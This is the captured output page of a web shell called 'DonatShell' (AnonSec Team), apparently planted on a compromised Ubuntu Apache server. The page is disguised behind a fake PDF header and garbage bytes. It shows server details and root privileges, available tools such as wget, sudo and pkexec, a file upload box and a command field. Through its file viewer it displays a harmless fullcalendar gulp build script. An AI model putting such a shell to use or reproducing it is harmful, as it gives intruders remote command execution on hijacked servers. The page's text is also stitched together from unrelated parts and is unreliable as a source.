%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tasks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/thread-self/root/var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tasks/archive.js
const gulp = require('gulp')
const filter = require('gulp-filter')
const modify = require('gulp-modify-file')
const zip = require('gulp-zip')

// determines the name of the ZIP file
const packageConfig = require('../package.json')
const archiveId = packageConfig.name + '-' + (packageConfig.version || 'latest')

// assumes a clean dist already happened
gulp.task('archive', [ 'archive:files' ], function() {
  // make the zip, with a single root directory of a similar name
  return gulp.src('tmp/' + archiveId + '/**', { base: 'tmp/' })
    .pipe(
      zip(archiveId + '.zip')
    )
    .pipe(
      gulp.dest('archives/')
    )
})

gulp.task('archive:files', [
  'archive:packages',
  'archive:demos',
  'archive:vendor',
  'archive:meta'
])

gulp.task('archive:packages', [ 'build', 'minify' ], function() {
  return gulp.src([
    'dist/**/*.{js,css}'
  ]).pipe(
    gulp.dest('tmp/' + archiveId + '/packages')
  )
})

gulp.task('archive:meta', function() {
  return gulp.src([
    'LICENSE.*',
    'CHANGELOG.*'
  ]).pipe(
    gulp.dest('tmp/' + archiveId)
  )
})

gulp.task('archive:demos', function() {
  return gulp.src([
    'demos/**',
    '!**/_*' // no files that start with underscore
  ])
    .pipe(htmlFileFilter)
    .pipe(demoPathModify)
    .pipe(htmlFileFilter.restore) // pipe thru files that didn't match htmlFileFilter
    .pipe(
      gulp.dest('tmp/' + archiveId + '/demos')
    )
})

gulp.task('archive:vendor', [ 'archive:demos' ], function() {
  return gulp.src(
    vendorPaths,
    { cwd: 'node_modules' } // a cwd without a base will flatten the paths. what we want
  ).pipe(
    gulp.dest('tmp/' + archiveId + '/vendor')
  )
})

const htmlFileFilter = filter('**/*.html', { restore: true })
const demoPathModify = modify(function(content) {
  return content.replace(
    /((?:src|href)=['"])([^'"]*)(['"])/g,
    function(m0, m1, m2, m3) {
      return m1 + transformDemoPath(m2) + m3
    }
  )
})

let vendorPaths = []

function transformDemoPath(path) {
  path = path.replace('../dist/', '../packages/')

  path = path.replace(
    /^\.\.\/node_modules\/(.*)\/([^/]+)$/,
    function(m0, m1, m2) {
      vendorPaths.push(m1 + '/' + m2)
      return '../vendor/' + m2
    }
  )

  return path
}

Anon7 - 2022
AnonSec Team